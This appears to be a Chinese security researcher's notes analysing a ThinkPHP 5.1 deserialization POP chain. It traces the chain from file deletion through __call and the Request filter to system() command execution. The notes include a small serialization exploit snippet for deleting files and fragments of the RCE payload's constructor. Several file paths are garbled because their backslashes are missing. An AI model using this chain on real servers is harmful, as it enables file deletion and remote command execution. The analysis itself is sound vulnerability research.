0x00 前言
反序列化基础知识:
https://www.cnblogs.com/wangtanzhi/p/12252993.html
https://www.cnblogs.com/wangtanzhi/p/12637819.html
0x01
compose安装tp框架
先记录一下看了一晚上的pop利用链,明天继续审
整个漏洞起点:
hinkphplibrary hinkprocesspipeswindows.php的__destruct魔法函数。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
在此页面搜索removeFiles()
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
可以看到有一个unlink函数,如果我们能够控制$filename,就可以达到任意文件删除。
exp:
<?php
namespace thinkprocesspipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['D:PHPSTUDY2018PHPTutorialWWW p5shell.php'];
}
}
echo base64_encode(serialize(new Windows()));
自然而然,我们开始寻找RCE点看file_exists这个函数,
自然而然,我们开始看file_exists这个函数,
$filename会被作为字符串处理。
而__toString 当一个对象在反序列化后被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。搜索__toString方法。这里我们选择 thinkModel 类来触发。由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如: thinkModelPivot 类。最终我们选择触发的对象是一个Pivot对象,此时便会触发__toString方法。
全局搜索__toString
这里有很多地方用到,我们跟进 hinkphplibrary hinkmodelconcernConversion.php的Conversion类的__toString()方法,这里调用了一个toJson()方法。然后跟进toJson()方法。
这里调用了toArray()方法,然后转换为json字符串,继续跟进toArray()。
hinkphplibrary hinkmodelconcernConversion.php中
分析一下前面三个遍历基本上不会干扰到我们整个利用链
我们直接看对$this->append的遍历:
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点
这里的$this->append是我们可控的
这个方法中的值怎么来的?分析代码继续跟进。
现跟进getRelation方法,
hinkphplibrary hinkmodelconcernRelationShip.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
这里的话 是一个死局,看到这里其实就可以换下一个点了,分析一下代码:
首先如果$name为空,他就直接返回了结果,我们的pop链就gg,然后呢不为空,你还得是数组,而且返回了结果一样gg。继续看toArray()函数中的其他方法。
我们可以让$this->relation中,返回空,这样就跳过了getRelation所在的if分支。在下一个if判断中
找到$relation->visible($name)
先看$relation 和 $name是否可控,追溯这个变量可以发现,$name变量由$this->append获取再看$relation变量由getAttr方法中获取
跟进getAttr():
hinkphplibrary hinkmodelconcernAttribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
跟进getData:
hinkphplibrary hinkmodelconcernAttribute.php
public function getData($name = null)
{
if (is_null($name)) {//$name 为空返回data
return $this->data;
} elseif (array_key_exists($name, $this->data)) {//查找$name是否为data数组里的键名,因为data可控,在poc里定义为$this->data = ["lin"=>new Request()]; 所以存在
return $this->data[$name];//返回结果为new Request()
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
于是可以通过控制$this->data来控制$relation变量,$relation可控。
需要注意的一点是这里类的定义使用的是Trait而不是class。
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。
我们可以在 hinkphplibrary hinkModel.php中找到这样一个类
梳理一下目前我们可控制的变量
$files位于类Windows
$append位于类Conversion
$data位于类Attribute
代码执行点分析
我们现在缺少一个进行代码执行的点
2个方向:
1:POP CHAIN
看一看有没有其他类中调用了visible方法
通过寻找相同名字的函数,再与类中的敏感函数和属性相关联
寻找后并没有。。
2:__call方法(调用类中不存在的方法会被执行)
一般PHP中的__call方法都是用来进行容错或者是动态调用。__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里.
全局搜索function __call,我们可以利用的是Request类,来看一下__call()方法
在/thinkphp/library/think/Request.php,找到一个__call函数, 使用了一个array取值
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
我们可以利用这里call_user_func_array方法进行命令执行
这里我们只能控制$args
但是$args会被array_unshift(这向数组插入新元素时会将新数组的值将插入到数组的开头),这样的话方法无论如何都会执行失败,所以这里不能直接利用。
继续看$this->hook[$method]我们可以控制,
所以我们可以构造一个hook数组"visable"=>"method",比如: $hook= {“visable”=>”任意method”}
但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。
也就是说array_unshift($args, $this);会把$this放到$arg数组的第一个元素
这种情况下我们是构造不出可用的payload的。
我们需要找一个不受$args变量影响的方法
目前我们所能控制的内容就是
在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
代码位于第1459行。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
但这里的$value不可控,所以我们需要找到可以控制$value的点
input函数可以满足条件
这里有一个小知识点:
thinkphp中的Request类中的input函数
链接
http://blog.ydspoplar.top/2020/01/28/thinkphp-序列化5-1-x/
我们先搜索一下
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数
在input中可能引起RCE的就是array_walk_recursive函数,也就是执行了filterValue($value,$key,$filter)我们在追溯一下filterValue函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
这里调用了call_user_func函数
所以input($data = [], $name = '', $default = null, $filter = '')就相当于call_user_func($filter,$data)
但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用input函数的地方。搜索我们找到了param函数
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
重点关注这1行:
array_merge($this->param, $this->get(false), $vars, $this->route(false));
我们依次跟进
param函数可以获得$_GET数组并赋值给$this->param。
这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯找调用param函数的地方。找到了isAjax函数
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在isAjax函数中,我们可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。
看到了$name可控,我们重新整和一下上面的分析,那些可控参数我们怎么控制的:
回到input函数中
$data = $this->getData($data, $name);
$name的值来自于$this->config['var_ajax'],我们跟进getData函数。
这里$data直接等于$data[$val]了
$data = $data[$val] = $data[$name]
前面已经说过了,$data, $name可控,
所以$data可控
前面已经说过了input($data = [], $name = '', $default = null, $filter = '')就相当于call_user_func($filter,$data)
这里还差$filter
当然这里的$filter是可控的:
这里再多说一下我们利用的间接调用filterValue实现RCE:
如果要实现代码执行,我们需要完全控制call_user_func的参数,但是如果我们直接在__call方法中直接调用filterValue(),那么现在$value的值始终是[$this,xxx,xxx]形式的,导致我们无法实现RCE,所以我们是不能直接调用filterValue函数实现RCE的
跟进getFilter函数
这里的$filter来自于this->filter,我们需要定义this->filter为函数名。
我们再来看一下input函数,有这么几行代码
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
这是一个回调函数,跟进filterValue函数。
filterValue.value的值为第一个通过GET请求的值input.data,而filterValue.key为GET请求的键input.name,并且filterValue.filters就等于input.filter的值。
到此,整个pop链构造完成
poc的利用过程
这里不放poc了,网上到处是,来梳理一下利用过程:
首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容:
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
public function __call($method, $args) //$method为不存在方法,$args为不存在方法以数组形式存的参数,此时$method = visible,$args = $name = ["calc.exe","calc"]
{
if (array_key_exists($method, $this->hook)) { //查找键名$method是否存在数组hook中,满足条件
array_unshift($args, $this); //将新元素插入到数组$args中,此时$args = [$this,"calc.exe","calc"]
return call_user_func_array($this->hook[$method], $args); //执行回调函数isAjax, ([$this,isAjax],[$this,"calc.exe","calc"])
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
接着看isAjax方法的调用过程,
public function isAjax($ajax = false)
{
.....
$result = $this->param($this->config['var_ajax']) ? true : $result;
//这里$this->config['var_ajax'] = 'lin'
$this->mergeParam = false;
return $result;
}
然后跟进param()方法
public function param($name = '', $default = null, $filter = '') //$name = $this->config['var_ajax'] = 'lin'
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并为一个数组。
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
.....
return $this->input($this->param, $name, $default, $filter); //$this->param当前get请求参数数组('lin' => 'calc')、$name = $this->config['var_ajax'] = lin
}
然后跟进input()方法
public function input($data = [], $name = '', $default = null, $filter = '')
{ //当前请求参数数组'lin'=>'calc'、$name = $this->config['var_ajax']=lin
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name; //指定lin为字符串
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name); //这里先跟进该函数,$data = $data[$val] = $data['lin'] = calc
......
// 解析过滤器
$filter = $this->getFilter($filter, $default); //$filter[0=>'system',1=>$default] ,这里先跟进该函数
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter); //回调函数filterValue ,跟进该函数,$data = filterValue.$value = calc 、 $filter = filterValue.$filters = [0->system,1->$default] 、 $name = filterValue.$key = 'lin'
.....
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
protected function getData(array $data, $name)//$data['lin'=>'calc'],$name = 'lin'
{
foreach (explode('.', $name) as $val) { //分割成数组['lin']
if (isset($data[$val])) {
$data = $data[$val]; // 此时$data = $data['lin'] = 'calc' ,回到上面input()
} else {
return;
}
}
return $data;
}
protected function getFilter($filter, $default) //$filter在poc里定义为system
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter; //$filter = $this->filter = system
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter); //分隔为数组['system']
} else {
$filter = (array) $filter;
}
}
$filter[] = $default; //此时$filter[]为{ [0]=>"system" [1]=>$default },回到上面Input()
return $filter;
}
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters); //删除数组最后一个元素,此时$filters=$filter[0]=system
foreach ($filters as $filter) { //遍历数组
if (is_callable($filter)) { //验证变量名能否作为函数调用,system()
// 调用函数或者方法过滤
$value = call_user_func($filter, $value); //执行回调函数system('calc');
}
验证poc
攻击链
引用自 https://xz.aliyun.com/t/6619
hinkphplibrary hinkprocesspipesWindows.php - > __destruct()
hinkphplibrary hinkprocesspipesWindows.php - > removeFiles()
Windows.php: file_exists()
thinkphplibrary hinkmodelconcernConversion.php - > __toString()
thinkphplibrary hinkmodelconcernConversion.php - > toJson()
thinkphplibrary hinkmodelconcernConversion.php - > toArray()
thinkphplibrary hinkRequest.php - > __call()
thinkphplibrary hinkRequest.php - > isAjax()
thinkphplibrary hinkRequest.php - > param()
thinkphplibrary hinkRequest.php - > input()
thinkphplibrary hinkRequest.php - > filterValue()
首先自己构造一个利用点
这个漏洞就是需要后期开发的时候有利用点,才能触发
我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令
如果poc不成功换个浏览器。。可能浏览器使得我们的poc失败。